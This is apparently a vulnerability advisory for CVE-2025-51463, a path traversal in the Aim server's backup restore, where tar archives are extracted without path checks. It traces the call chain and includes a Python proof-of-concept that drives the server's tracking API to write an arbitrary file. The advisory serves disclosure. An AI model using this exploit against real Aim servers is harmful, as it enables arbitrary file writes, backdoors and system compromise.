Back to Research
CVSS 7.0mediumCVE-2025-51463

CVE-2025-51463: Aim Path Traversal in Server Backup Restoration

A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server's filesystem via a malicious tar file extraction.

Gecko Security Research
Gecko Security Team
1/15/2025

The following vulnerability was found using Gecko and validated by security researchers.

(Some Image Maybe?)

Repo: https://github.com/aimhubio/aim Version: 3.28.0 Severity: High (7.0/10) CVE: CVE-2025-51463[https://github.com/advisories/GHSA-6gj6-5cm3-g43x]

Description

A path traversal vulnerability was found in AIM server. This vulnerability allows remote attackers to write arbitrary files on the server's filesystem via a malicious tar file extraction. The vulnerability exists due to a lack of proper path validation when extracting backup tar archives in the restore_run_backup function.

Source - Sink Analysis

The vulnerability exists in the following function call chain:

  1. Source: Client.run_instruction() in aim/ext/transport/client.py
  • Entry point for remote method execution that accepts untrusted input:
    def run_instruction(self, queue_id, resource, method, args=(), is_write_only=False):
    
  1. Intermediate: RemoteRepoProxy._restore_run() in aim/sdk/remote_repo_proxy.py
  • Proxies restore request to repo instance with unsanitized hash parameter:
    def _restore_run(self, hash_):
    
  1. Intermediate: Repo._restore_run() in aim/sdk/repo.py
  • Handles run restore operation and passes unsanitized run_hash:
    def _restore_run(self, run_hash):
    
  1. Sink: restore_run_backup() in aim/sdk/utils.py
  • Vulnerable tarfile extraction without path validation:
    with tarfile.open(run_bcp_file, 'r:gz') as tar:
        tar.extractall()
    

Proof of Concept

def exploit():
    client_id = str(uuid.uuid4())
    unique_id = uuid.uuid4().hex[:8]
    target_file = f"/tmp/aim_vuln_proof_{unique_id}.txt"
    
    if os.path.exists(target_file):
        os.remove(target_file)
        
    content = f"AIM Path Traversal Vulnerability PoC\nTimestamp: {time.time()}\nID: {unique_id}\n"
    
    print(f"Creating exploit for AIM server at {AIM_SERVER}")
    print(f"Target file: {target_file}")
    
    # create malicious tar file
    tar_path = create_malicious_tar(target_file, content)
    print(f"Created malicious tar: {tar_path}")
    
    # create repo resource
    resource_url = f"http://{AIM_SERVER}/tracking/{client_id}/get-resource/"
    response = requests.post(
        resource_url,
        json={
            "resource_handler": "repo",
            "resource_type": "Repo",
            "args": encode_args({})
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to create Repo resource: {response.text}")
        return False
        
    repo_handler = response.json()["handler"]
    print(f"Created Repo resource: {repo_handler}")
    
    # set repo path to /tmp
    instruction_url = f"http://{AIM_SERVER}/tracking/{client_id}/read-instruction/"
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "path.setter",
            "args": encode_args(["/tmp"])
        }
    )
    
    if response.status_code != 200:
        print(f"[-] Failed to set repo path: {response.text}")
        return False
    
    print(f"Set repo path to /tmp")
    
    # create bcp directory
    bcp_dir = "/tmp/bcp"
    os.makedirs(bcp_dir, exist_ok=True)
    
    # copy malicious tar to bcp directory
    run_hash = f"exploit_{unique_id}"
    bcp_tar_path = os.path.join(bcp_dir, run_hash)
    shutil.copy(tar_path, bcp_tar_path)
    print(f"Copied malicious tar to {bcp_tar_path}")
    
    # trigger vulnerability via _restore_run
    print(f"Triggering vulnerability...")
    response = requests.post(
        instruction_url,
        json={
            "resource_handler": repo_handler,
            "method_name": "_restore_run",
            "args": encode_args([run_hash])
        }
    )
    
    # verify exploit success
    if os.path.exists(target_file):
        with open(target_file, "r") as f:
            file_content = f.read()
            
        print(f"Successfully created file: {target_file}")
        print(f"Content: {file_content.strip()}")
        return True
    else:
        print(f"Exploit failed - target file not created")
        return False

Impact

Attackers can:

  • Write arbitrary files to any location on the filesystem where the AIM server process has write access.
  • Overwrite critical system files or application configurations.
  • Create backdoors or establish persistence on the affected system.